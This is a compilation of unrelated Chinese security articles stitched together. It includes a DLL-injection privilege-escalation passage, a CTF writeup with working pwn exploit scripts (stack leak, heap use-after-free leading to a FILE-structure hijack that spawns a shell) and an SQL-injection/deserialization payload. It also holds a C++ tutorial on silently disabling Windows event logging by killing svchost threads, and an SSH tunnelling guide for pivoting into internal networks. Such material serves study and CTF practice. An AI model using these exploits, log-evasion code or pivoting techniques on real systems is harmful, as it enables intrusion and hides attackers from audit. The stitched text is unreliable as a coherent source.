2. 查找所需要修改权限的LUID
3. 对应访问令牌中的特权属性进行修改
4. 调整特权
首先是关于访问令牌：Windows系统中，当用户登录时，会给其分配一个访问令牌；在Windows编程中，这个访问令牌被解释为一个结构体：TOKEN_PRIVILEGES，这个结构体的原型如下：
typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
有两个成员：
* PrivilegeCount：对应后面Privileges中成员的数量（也就是后面需要更改的进程的权限个数）
* Privileges[ANYSIZE_ARRAY]：这是LUID_AND_ATTRIBUTES的结构体数组，这个结构体中包含了特权的LUID和属性，每个特权对应的LUID可以通过LookupPrivilegeValue进行查找
然后是关于LUID，这个类型的全称是：locally unique
identifier，也就是每个进程的局部唯一性的标识。这里我们要将进程的权限提升至SE_DEBUG_NAME，也就是调试级别的权限，所以使用LookupPrivilegeValue这个API函数查找这权限相对应的LUID值，然后再对访问令牌进行修改。
LUID在Windows编程中也被解释为一个结构体：
typedef struct _LUID {
DWORD LowPart;
LONG HighPart;
} LUID, *PLUID;
其实就是一个数值被分解为高位和低位两个部分。
这个部分的代码即注释为：
BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken; //指向后面打开访问令牌的句柄
LUID Luid; //接受后面查找的局部唯一标识符
TOKEN_PRIVILEGES tkp; //后面修改访问令牌时用到的结构体
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) //打开当前进程的访问令牌
{
printf("提权失败。");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) //查找需要修改的权限对应的LUID值
{
CloseHandle(hToken);
printf("提权失败。");
return FALSE;
}
//下面为访问令牌的中特权属性的修改操作
tkp.PrivilegeCount = 1; //设置要修改的权限数量，这里只需要修改一项权限，即为1
tkp.Privileges[0].Luid = Luid; //设置Privileges数组中LUID的值为前面查找到的对应权限的LUID值
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置该权限对应的执行状态更改为可行状态
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) //修改访问令牌的对应权限
{
printf("提权失败。");
CloseHandle(hToken);
}
else
{
printf("提权成功！");
return TRUE;
}
}
# 调试测试：
这里在XP环境下调试这个程序，注入的目标进程为notepad：
首先先运行一下这个程序：
第一个参数为PID，第二个参数为DLL文件所在的文件路径。
运行结果如下：
在DLL所在的目录下下载了目标index文件，到ProcessExploer中查看notepad的dll进程：
可以发现我们的DLL已经被注入了目标进程。
然后我们正式开始调试：
首先将notepad拖入OD运行：
然后按照上一篇文章中设置当新的DLL模块载入时断下程序：
然后运行注入程序并按F9开始运行至我们的DLL被装载入进程：
双击进入这个新模块，也就是我们自定义注入的这个DLL：
往下找的话就可以找到我们对应的下载网址和文件名等。
# 参考资料：
《逆向工程核心原理》[韩] 李承远 | 社区文章 |
## Team: Lilac
[TOC]
## misc
### 签到
回复公众号即可
### clip
* 对damaged.disk分析可知包含png图片,提取图片得到了两张图片.
* 修复png文件头, 对图片还原PS等,得到flag:
`flag{0b008070-eb72-4b99-abed-092075d72a40}`
## web
### facebook
利用点: **sql注入+反序列化+LFR**
payload:
/view.php?no=0/*123*/UniOn/*123*/select/*123*/0,1,2,%22O:8:\%22UserInfo\%22:3:{s:4:\%22name\%22;s:5:\%22lilac\%22;s:3:\%22age\%22;i:0;s:4:\%22blog\%22;s:29:\%22file:///var/www/html/flag.php\%22;}%22
## pwn
### guess
* 程序把flag读在栈上，提供了栈溢出，但是有canary保护，看似没有其他漏洞了，很自然地想到了 **ssp leak** ，但是不知道栈地址。从程序提供3次输入机会想到可以先用got地址泄露libc，然后用libc上的environ泄露栈地址，然后算出得到的栈地址与flag的距离，最后拿flag，这个距离值是固定的，正好可以通过3次泄露完成。libc可以用各种工具拿到，测试时发现远程环境和本地相同.
from pwn import *
'''
for i in range(0x80, 0x180, 8):
p = process("./GUESS")
p.recvuntil("flag\n")
p.sendline("1" * i + p64(0x0400C90))
p.recvline()
x = p.recvline()
p.close()
print hex(i), x
'''
environ = 0x03C6F38
p = remote("106.75.90.160", 9999)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(0x602040))
print p.recvuntil("***: ")
read_offset = u64(p.recv(6).ljust(8, "\x00"))
libc = read_offset - 0x00000000000F7250
environ += libc
print hex(libc)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(environ))
print p.recvuntil("***: ")
stack = u64(p.recv(6).ljust(8, "\x00"))
print hex(stack)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(stack - 0x168))
print p.recvuntil("***: ")
print p.recvline()
p.close()
### blind
release功能释放堆块后没有把指针置0，可以change中再次使用，存在 **uaf** 漏洞，可以用来修改fd做fastbin
attack，以为没有提供leak，所以各种hook函数就别想了。stdin，stdout，stderr地址都是以0x7f开头，可以通过错位实现劫持，这里选择了stderr，然后就可以修改全局数据的5个指针指向任意地址，我将4个指针指向了bss上的一块连续内存用来伪造io_file和vtable，第五个指向了stdout用来攻击file结构。程序留了后面，可以直接吧vtable中的函数指针全部设为它，用构造好的file结构体指针覆盖stdout，执行printf时程序就被劫持为system(“/bin/sh”)，伪造结构体时需要设置fp->lock指向一块值为0的内存。
from pwn import *
import struct
_IO_USE_OLD_IO_FILE = False
_BITS = 64
def _u64(data):
return struct.unpack("<Q",data)[0]
def _u32(data):
return struct.unpack("<I",data)[0]
def _u16(data):
return struct.unpack("<H",data)[0]
def _u8(data):
return ord(data)
def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()
def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()
def _p64(data):
return struct.pack("<Q",data)
def _p32(data):
return struct.pack("<I",data)
def _p16(data):
return struct.pack("<H",data)
def _p8(data):
return chr(data)
def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit()
def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit()
class _IO_FILE_plus:
def __init__(self):
self._flags = 0x00000000fbad2887 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = 0x602500 # Current read pointer
self._IO_read_end = 0x602500 # End of get area
self._IO_read_base = 0x602500 # Start of putback+get area
self._IO_write_base = 0x602600 # Start of put area
self._IO_write_ptr = 0x602600 # Current put pointer
self._IO_write_end = 0x602600 # End of put area
self._IO_buf_base = 0x602600 # Start of reserve area
self._IO_buf_end = 0x602601 # End of reserve area
# The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area
self._markers = 0
self._chain = 0
self._fileno = 0
self._flags2 = 0
self._old_offset = 0 # This used to be _offset but it's too small
# 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0
self._lock = 0x602700
if not _IO_USE_OLD_IO_FILE:
self._offset = 0
self._codecvt = 0
self._wide_data = 0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = 0x602168
def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x:_p8(x), self._unused2)) +\
_pa(self.vtable)
return buf
def __str__(self):
return self.tostr()
#p = process("./blind")
p = remote("106.75.20.44 ",9999)
def new(index,content):
p.recvuntil("Choice:")
p.sendline('1')
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Content:")
p.sendline(content)
def release(index):
p.recvuntil("Choice:")
p.sendline('3')
p.recvuntil("Index:")
p.sendline(str(index))
def change(index,content):
p.recvuntil("Choice:")
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Content:")
p.send(content)
new(0,'111')
new(1,'222')
release(0)
change(0,p64(0x60203d)+'\n')
new(2,"333")
new(3,"4"*19 + p64(0x602088)+p64(0x6020f0)+p64(0x602158)+p64(0x6021c0)+p64(0x602020))
s = _IO_FILE_plus().tostr()
print len(s)
change(0,s[0:0x68])
change(1,s[0x68:0xd0])
change(2,s[0xd0:] + p64(0)*2 + p64(0x4008E3)*9)
change(3,p64(0x4008E3)*13)
p.recvuntil("Choice:")
p.sendline("2")
p.recvuntil("Index:")
p.sendline('4')
p.recvuntil("Content:")
p.sendline(p64(0x602088))
p.sendline("your token")
p.interactive()
## reverse
### beijing
本题静态分析即可,flag在data段上被打乱放置, 和程序的输出结果形成索引, 根据输出结果推算出flag为:
`flag{amazing_beijing}`
### blend
题目分析拿到的是个DOS/MBR boot sector,
根据之前做过的[CSAW逆向题](https://github.com/TechSecCTF/writeups/blob/master/CSAWQuals2017/realism/README.md)遇到过这种模式的题目,照着思路调试了一遍
xxx@xx ~/ctf/china/advanced file main.bin
main.bin: DOS/MBR boot sector
xxx@xx ~/ctf/china/advanced strings main.bin
flag
a} ==>
== ENTER FLAG ==
CORRECT!
!! WRONG FLAG !!
payload如下:
#!/usr/bin/env python
from pprint import pprint
from z3 import *
import struct
s = Solver()
ZERO = IntVal(0)
def z3_abs(x):
return If(x >= 0, x, -x)
def psadbw(xmm1, xmm2):
first = Sum([z3_abs(b1 - b2) for b1,b2 in zip(xmm1[:8], xmm2[:8])])
second = Sum([z3_abs(b1 - b2) for b1,b2 in zip(xmm1[8:], xmm2[8:])])
return (first, second)
[0x2DD02F6, 0x2DC02E8, 0x2D802ED, 0x2CE02E2, 0x2C402E2, 0x2D402DB, 0x2D902CD, 0x3110304]
_results = [
(0x02dd, 0x02f6),
(0x02dc, 0x02e8),
(0x02d8, 0x02ed),
(0x02ce, 0x02e2),
(0x02c4, 0x02e2),
(0x02d4, 0x02db),
(0x02d9, 0x02cd),
(0x0311, 0x0304)
] [::-1]
_xmm5s = [
[0xb8, 0x13, 0x00, 0xcd, 0x10, 0x0f, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 0x83, 0xc8, 0x02, 0x0f, 0x22],
]
for x in _results[:-1]:
_xmm5s.append(list(map(ord, struct.pack('<Q', x[0]) + struct.pack('<Q', x[1]))))
xmm5s = [ [IntVal(x) for x in row] for row in _xmm5s ]
results = [ [IntVal(x) for x in row] for row in _results ]
f = [Int('flag{:02}'.format(i)) for i in range(16)]
for char in f:
s.add(char > 30, char < 127)
for i in range(8):
xmm5 = xmm5s[i]
xmm2 = list(f)
xmm2[i] = ZERO
xmm2[i+8] = ZERO
high,low = psadbw(xmm5, xmm2)
s.add(high == results[i][0])
s.add(low == results[i][1])
print(s.check())
m = s.model()
solution = ''
sats = []
for d in m.decls():
if 'flag' in d.name():
solution += chr(m[d].as_long())
sats.append((int(d.name()[4:]), chr(m[d].as_long())))
sats = sorted(sats, key=lambda x: x[0])
sats = [s[1] for s in sats]
flag = ''.join(sats)
# unshuffle the flag
flag = flag[12:] + flag[8:12] + flag[:8]
print('flag{%s}' % flag)
得到flag:
`flag{mbr_is_funny__eh}`
### advanced(solved after ctf)
老年misc选手,看到输出得到加密后的flag:4b404c4b5648725b445845734c735949405c414d5949725c45495a51
像是异或flag后的结果
import libnum
In [97]: libnum.n2s(0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51)
Out[97]: 'K@LKVHr[DXEsLsYI@\\AMYIr\\EIZQ'
猜测:In [93]: ord("f")^0x4b
Out[93]: 45
In [94]: ord("g")^0x4b
Out[94]: 44
In [95]: ord("l")^0x40
Out[95]: 44
In [96]: ord("a")^0x4c
Out[96]: 45
xor key 为45,44
In [98]: enc = libnum.n2s(0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51)
In [99]: flag = ""
In [102]: for i in range(len(enc)):
...: if i%2==0:
...: flag+=chr(ord(enc[i])^45)
...: else:
...: flag+=chr(ord(enc[i])^44)
...:
...:
In [103]: print flag
flag{d_with_a_template_phew}
## crypto
### hashcoll
题目文件以及描述:Sometime, you wonder why you rEad the DescrIption Because it may
contaIn something useless.
nc 117.50.1.201 9999
#!/usr/bin/env python2
FLAG = "aaa"
h0 = 45740974929179720441799381904411404011270459520712533273451053262137196814399
# 2**168 + 355
g = 374144419156711147060143317175368453031918731002211L
def shitty_hash(msg):
h = h0
msg = map(ord, msg)
for i in msg:
h = (h + i)*g
# This line is just to screw you up :))
h = h & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff#mod2**256
#print h
return h - 0xe6168647f636
if __name__ == '__main__':
try:
introduction = """
.--. .------------------------.
| __\ | |
| > < < Homies, Hash collision |
| \| | |
|/_// `------------------------'
| /
`-'
I never want to create challenges that people can grab random scripts to solve it. Nah
"""
print introduction
m1 = raw_input('m1 : ')
m2 = raw_input('m2 : ')
assert m1 != m2
#print "m1 = {!r}".format(m1)
#print "m2 = {!r}".format(m2)
hash1 = shitty_hash(m1)
hash2 = shitty_hash(m2)
if hash1 == hash2:
print "\nThe flag is simple, it is 'the flag' :)) "
print FLAG
else:
print 'Wrong.'
except:
print "Take your time to think of the inputs."
pass
题目分析:
通过对hash函数的展开发现h0对碰撞结果没有影响:
也给出了提示.
In [92]: libnum.n2s(45740974929179720441799381904411404011270459520712533273451053262137
...: 196814399)
Out[92]: 'e you ever see something weird ?'
$$shitty_hash(x_1,x_2,...,x_n) = h_0g^n+x_1g^n+x_2g^{n-1}+...+x_ng \ mod \
2^{256}$$
为了找到hash值相同的两个message,我们需要找到$a_1g^n+a_2g^{n-1}+...+a_ng \ mod \
2^{256}$和$b_1g^n+b_2g^{n-1}+...+b_ng \ mod \ 2^{256}$的两个线性组合.
${a_1,...,a_n}$和${b_1,...,b_n}$为两个message,
并且$a_i$和$b_i$属于${0,...,255}$,我们可以假设m1固定, 则找到一组$c_1g^n+c_2g^{n-1}+...+c_ng \
mod \ 2^{256} = 0$ 则可以找到m2, $b_i = a_i+c_i$,
其中$a_i$已知(m1固定),则$c_i$的范围为$0<=a_i+c_i<=255$并且为整数.从而得到hash碰撞.
为了找到这样的一组满足条件的$c_i$,其中$c_i$都很小,我想到了用[LLL算法](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm)解决[SVP](https://en.wikipedia.org/wiki/Lattice_problem)问题.
[矩阵构造参考](https://www.di.ens.fr/~granboul/recherche/publications/data/hash.pdf)
构造矩阵如下
$$
\begin{matrix}
Kg^n & 1 & 0 & 0 & ... & 0 \
Kg^{n-1} & 0 & 1 & 0 &... & 0 \
Kg^{n-2} & 0 & 0 & 1 &... & 0 \
......\
Kg& 0 & 0 & 0&... & 1 \
K2^{256} & 0 & 0 & 0 &... & 0
\end{matrix}
$$
当我们的K足够大时, reduced rows xxx[0] == 0 ,并且$c_i$ =
xxx[i+1],当n足够大,找到的xxx中的每个元素就很小,从而满足$0<=a_i+c_i<=255$
关于LLL算法作用太多了,其原理我也不清楚,自行google
reference:
<https://latticehacks.cr.yp.to/slides-dan+nadia+tanja-20171228-latticehacks-16x9.pdf>
<https://cseweb.ucsd.edu/~daniele/CSE207C/>
实现:(sage 脚本)
from sage.all import *
mod = 2**256
h0 = 45740974929179720441799381904411404011270459520712533273451053262137196814399
g = 2**168 + 355
K = 2**256
base = map(ord, "7feilee"*8)
N = len(base)
m = matrix(ZZ, N + 1, N + 2)
for i in xrange(N):
ge = pow(g, N-i, mod)
m[i,0] = ge
m[i,1+i] = 1
m[N,0] = mod
for i in xrange(N+1):
m[i,0] *= K
ml = m.LLL()
ttt = ml.rows()[0]
print "result:", ttt
if ttt[0] != 0:
print "Error"
exit()
if not base:
base = [BASE] * N
msg = []
for i in range(N):
msg.append(base[i] + ttt[1+i])
if not (0 <= msg[-1] <= 255):
print "Need more bytes!"
quit()
def shitty_hash(msg):
h = h0
for i in msg:
h = (h + i)*g
# This line is just to screw you up :))
h = h & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff#mod2**256
#print h
return h - 0xe6168647f636
def pure_hash(msg):
h = 0
for i in msg:
h = (h + i)*g
# This line is just to screw you up :))
h = h & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff#mod2**256
return h
print base
print "m1:", "".join(map(chr, base))
print hex(shitty_hash(base)), shitty_hash(base)
print msg
diff = [i-j for i,j in zip(msg,base)]
print diff
print hex(pure_hash(diff))
print "m2:", "".join(map(chr, msg))
print hex(shitty_hash(msg)), shitty_hash(msg)
'''
result: (0, 2, 10, 0, 14, 12, 6, -9, 5, -1, 10, 14, 7, 4, -7, -9, 1, -6, -11, -2, 4, 5, -9, -3, -7, -12, -18, -2, 9, -6, 20, 14, 3, -2, -10, -11, -8, -11, -4, -3, -3, 8, -2, -2, -7, 10, 1, -7, -6, 1, -3, -11, 0, -2, -2, -13, -3, 0)
linear combination 1:[55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101]
m1: 7feilee7feilee7feilee7feilee7feilee7feilee7feilee7feilee
0xdc50edf5709e590380c17156e4a9c6bf29938a8926eee56efd3e96e861cf4079L 99651816784432116140389266578054142896984837252368337731439517562844400795769
linear combination 1+linear combination 2:[57, 112, 101, 119, 120, 107, 92, 60, 101, 111, 119, 115, 105, 94, 46, 103, 95, 94, 106, 105, 106, 46, 99, 94, 93, 90, 99, 110, 49, 122, 115, 108, 106, 91, 90, 47, 91, 97, 102, 105, 109, 99, 53, 95, 111, 106, 101, 95, 102, 52, 91, 101, 103, 106, 88, 98]
linear combination 2:[2, 10, 0, 14, 12, 6, -9, 5, -1, 10, 14, 7, 4, -7, -9, 1, -6, -11, -2, 4, 5, -9, -3, -7, -12, -18, -2, 9, -6, 20, 14, 3, -2, -10, -11, -8, -11, -4, -3, -3, 8, -2, -2, -7, 10, 1, -7, -6, 1, -3, -11, 0, -2, -2, -13, -3]
0#pure_hash(linear combination 2 == 0),which cause the collision
m2: 9pewxk\<eowsi^.g_^jij.c^]Zcn1zslj[Z/[afimc5_oje_f4[egjXb
dc50edf5709e590380c17156e4a9c6bf29938a8926eee56efd3e96e861cf4079 99651816784432116140389266578054142896984837252368337731439517562844400795769
'''
from pwn import *
import random
import re
import libnum
import string
from hashlib import *
import itertools
context.log_level = "debug"
io = remote("117.50.1.201",9999)
io.recv()
io.sendline("7feilee7feilee7feilee7feilee7feilee7feilee7feilee7feilee")
io.recvuntil('m2 : ')
io.sendline("9pewxk\<eowsi^.g_^jij.c^]Zcn1zslj[Z/[afimc5_oje_f4[egjXb")
io.recv()
io.recv()
io.recv()
''' '\n'
"The flag is simple, it is 'the flag' :)) \n"
'flag{b78017f6-90b1-486b-9f12-67d17cdcbfca}\n'
'''
`flag:flag{b78017f6-90b1-486b-9f12-67d17cdcbfca}` | 社区文章 |
## 0x00 前言
在上篇文章《[渗透技巧——Windows日志的删除与绕过](http://www.4hou.com/penetration/6070.html)》中提到一个绕过Windows日志监控的思路：使用API
NtQueryInformationThread和I_QueryTagInformation获取线程对应的服务，关闭对应日志记录功能的线程，能够破坏日志功能，并且Windows
Event Log服务没有被破坏，状态仍为正在运行。本文将要对其详细介绍，分享使用c++在编写程序上需要注意的细节。
## 0x01 简介
本文将要介绍以下内容：
* 程序自身提权
* 遍历进程中的所有线程
* 根据线程tid，获取对应的进程pid
* 根据线程tid，获取对应的服务名称
* 结束线程
## 0x02 程序实现
>开发工具： VS2012
>开发语言： c++
### 1、定位eventlog服务对应进程svchost.exe的pid
powershell代码如下：
`Get-WmiObject -Class win32_service -Filter "name =
'eventlog'" | select -exp ProcessId`
通过回显能够找出进程svchost.exe的pid
### 2、程序自身提权，以管理员权限执行
因为进程svchost.exe为系统权限，所以对其线程进行操作也需要高权限，因此，程序需要先提升至管理员权限
提权至管理员权限的代码如下：
BOOL SetPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES NewState;
LUID luidPrivilegeLUID;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID))
{
printf("SetPrivilege Errorn");
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
{
printf("AdjustTokenPrivilege Errron");
return FALSE;
}
return TRUE;
}
### 3、遍历进程中的所有线程
定位进程svchost.exe后，需要遍历该进程中的所有线程，然后进行筛选
根据进程pid遍历其子进程的代码如下：
BOOL ListProcessThreads(DWORD pid)
{
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE)
return(FALSE);
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hThreadSnap, &te32))
{
printf("Thread32First");
CloseHandle(hThreadSnap);
return(FALSE);
}
do
{
if (te32.th32OwnerProcessID == pid)
printf("tid= %dn",te32.th32ThreadID);
} while (Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
return(TRUE);
}
获取进程中的所有线程tid，如下图
### 4、判断线程是否满足条件
筛选出Windows Event Log服务对应的线程，方法如下：
根据线程tid，获取对应的服务名称
可参考以下链接：
<https://wj32.org/wp/2010/03/30/howto-use-i_querytaginformation/>
文中提到，需要使用三个API：
NtQueryInformationThread：
来自ntdll.dll
dll路径：%WinDir%System32
使用IDA对其验证，查看ntdll.dll的导出函数，能够发现API函数NtQueryInformationThread，如下图
具体使用方式：
typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;
pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");
I_QueryTagInformation：
来自advapi32.dll
dll路径：%WinDir%System32下
使用IDA对其验证，查看advapi32.dll的导出函数，能够发现API函数I_QueryTagInformation，如下图
具体使用方式：
typedef ULONG (WINAPI* FN_I_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
FN_I_QueryTagInformation pfnI_QueryTagInformation = NULL;
HMODULE advapi32 = LoadLibrary(L"advapi32.dll");
pfnI_QueryTagInformation = (FN_I_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");
NtReadVirtualMemory：
可使用ReadProcessMemory代替
更为完整的代码实例可参考如下链接：
[http://blog.naver.com/PostView.nhn?blogId=gloryo&logNo=110129121084&redirect=Dlog&widgetTypeCall=true](http://blog.naver.com/PostView.nhn?blogId=gloryo&logNo=110129121084&redirect=Dlog&widgetTypeCall=true)
该文章分享了一段代码，提供进程pid和线程tid，能够获取对应的服务名称
当然，我们需要对该代码作改进，不需要提供进程pid，只需要线程tid就好
根据线程tid获取对应进程pid，代码如下：
BOOL QueryThreadBasicInformation(HANDLE hThread)
{
typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;
pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");
THREAD_BASIC_INFORMATION threadBasicInfo;
LONG status = pfnNtQueryInformationThread(hThread, ThreadBasicInformation, &threadBasicInfo,sizeof(threadBasicInfo), NULL);
printf("process ID is %un",threadBasicInfo.clientId.uniqueProcess);
printf("Thread ID is %un",threadBasicInfo.clientId.uniqueThread);
return TRUE;
}
测试程序能够通过tid获取相关进程pid，运行如下图
至此，我们能够根据提供的线程tid判断出对应的进程pid和服务名称
接着，需要添加判断功能，筛选出eventlog服务，进行下一步操作：结束线程
### 5、结束线程
同结束进程类似，需要提供进程tid，代码如下：
void TerminateEventlogThread(DWORD tid)
{
HANDLE hThread = OpenThread(0x0001,FALSE,tid);
if(TerminateThread(hThread,0)==0)
printf("--> Error !n");
else
printf("--> Success !n");
CloseHandle(hThread);
}
综上，将所有功能集成到一个程序中，使用时只需要提供进程svchost.exe的pid就好
完整源代码下载地址：
<https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/WindowsEventLogBypass.cpp>
## 0x03 实际测试
获取进程svchost.exe的pid：
`Get-WmiObject -Class win32_service -Filter "name =
'eventlog'" | select -exp ProcessId`
获得pid为916
运行WindowsEventLogBypass.exe，添加pid
参数如下：
`WindowsEventLogBypass.exe 916`
实际测试，如下图
成功结束线程，日志功能失效，如下图
## 0x04 小结
本文介绍了使用c++编写程序绕过Windows日志的技巧，同Halil Dalabasmaz@hlldz分享的Powershell工程Invoke-Phant0m结合学习，希望能够帮助大家更好的了解这项技术。
本文为 3gstudent 原创稿件，授权嘶吼独家发布，未经许可禁止转载，如若转载，请联系嘶吼编辑：
<http://www.4hou.com/penetration/6070.html> | 社区文章 |
# 前言
应用层中的隧道技术主要应用软件提供的端口来发送数据。常用的隧道技术协议有SSH，HTTP/HTTPS以及DNS
一个普通的SSH命令如下：
ssh [email protected]
常见命令如下：
-C：压缩传输，提高传输速度
-f：将SSH传输转入后台执行，不占用当前的Shell
-N：建立静默连接（建立了连接，但是看不到具体会话）
-g：允许远程主机连接本地用于转发的端口
-L：本地端口转发
-R：远程端口转发
# SSH协议
## 本地转发
实验环境
攻击者VPS(192.168.1.76)
内网中有：
web服务器（外网IP:192.168.1.26 内网IP:172.168.1.16）
数据库服务器（IP:172.168.1.18）
外部VPS能访问web服务器，但是无法访问数据库服务器，数据库服务器和web服务器能够互相访问。
目标：以web服务器为跳板，访问数据库服务器的3389端口
以web服务器为跳板，将数据库服务器的3389端口，映射到VPS的1153端口，然后访问VPS的1153端口。
在VPS中执行如下命令
ssh -CfNg -L 1153(VPS端口):172.168.1.18(目标主机):3389(目标端口) [email protected](跳板机)
执行以下命令查看本地1153端口是否连接
netstat -tulnp | grep "1153"
可以看到，在进行本地映射时，本地SSH进程会监听1153端口
执行如下命令，在本地系统中访问VPS的1153端口，可以看到本地的1153端口已与数据库服务器的3389端口建立联系了。
rdesktop 127.0.0.1:1153
**SSH进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口；**
**本地端口转发则是在本地监听一个端口，所有访问这个端口的数据都会通过SSH隧道传输到远端的对应端口**
换言之：当本机(192.168.1.76)打算连接本机的1153端口时(rdesktop
127.0.0.1:1153)，这时候请求会通过ssh协议发送至web服务器(192.168.1.26)，然后在web服务器(172.168.1.16)这台机子上解封装，形成远程桌面连接的流量，发送至数据库服务器(172.168.1.18)。
可以看一下各机器的端口使用情况
VPS:
VPS上的随机端口与Web服务器的22号端口连接
Web服务器：
可以看到这里的web服务器的内网也是开了一个随机端口与数据库服务器的3389端口相连接
数据库服务器：
数据库服务器的3389端口是和web服务器的随机端口连接的
本地端口转发中将VPS作为客户机，跳板机（web服务器）作为服务器。
故而本地转发是 **将本地机(客户机)的某个端口转发到远端指定机器的指定端口** ，也就是将VPS中执行的`rdesktop
127.0.0.1:1153`转发到目标主机的3389端口。
## 远程转发
因为在实际企业环境中，一般防火墙都是只允许出，不允许进的状态。
攻击者VPS(192.168.1.76)
内网中有：
web服务器（内网IP:172.168.1.16）
数据库服务器（内网IP:172.168.1.18）
外部VPS不能访问内网中的任何机器。web服务器能够访问外部vps。数据库服务器无法访问外部VPS
目标：通过外部VPS访问数据库服务器的3389端口
**以web服务器为跳板，将VPS(192.168.1.76)的3307端口的流量转发到数据库服务器(172.168.1.18)的3389端口，然后访问VPS的3307端口，就可以访问数据库服务器的3389端口**
在 **Web服务器上** 执行如下命令：
ssh -CfNg -R 3307(VPS端口):172.168.1.18(目标主机):3389(目标端口) [email protected]
然后在VPS上执行如下命令：
rdesktop 127.0.0.1:3307
可以看一下各机器的端口使用情况
VPS此时是作为SSH服务中的服务端，VPS中开启22号端口，由内网出来的流量将会通过防火墙的随机端口，发送至VPS的22号端口。向本地的3307端口发出远程桌面连接的流量将会通过22号端口以应答的形式发送给web服务器。
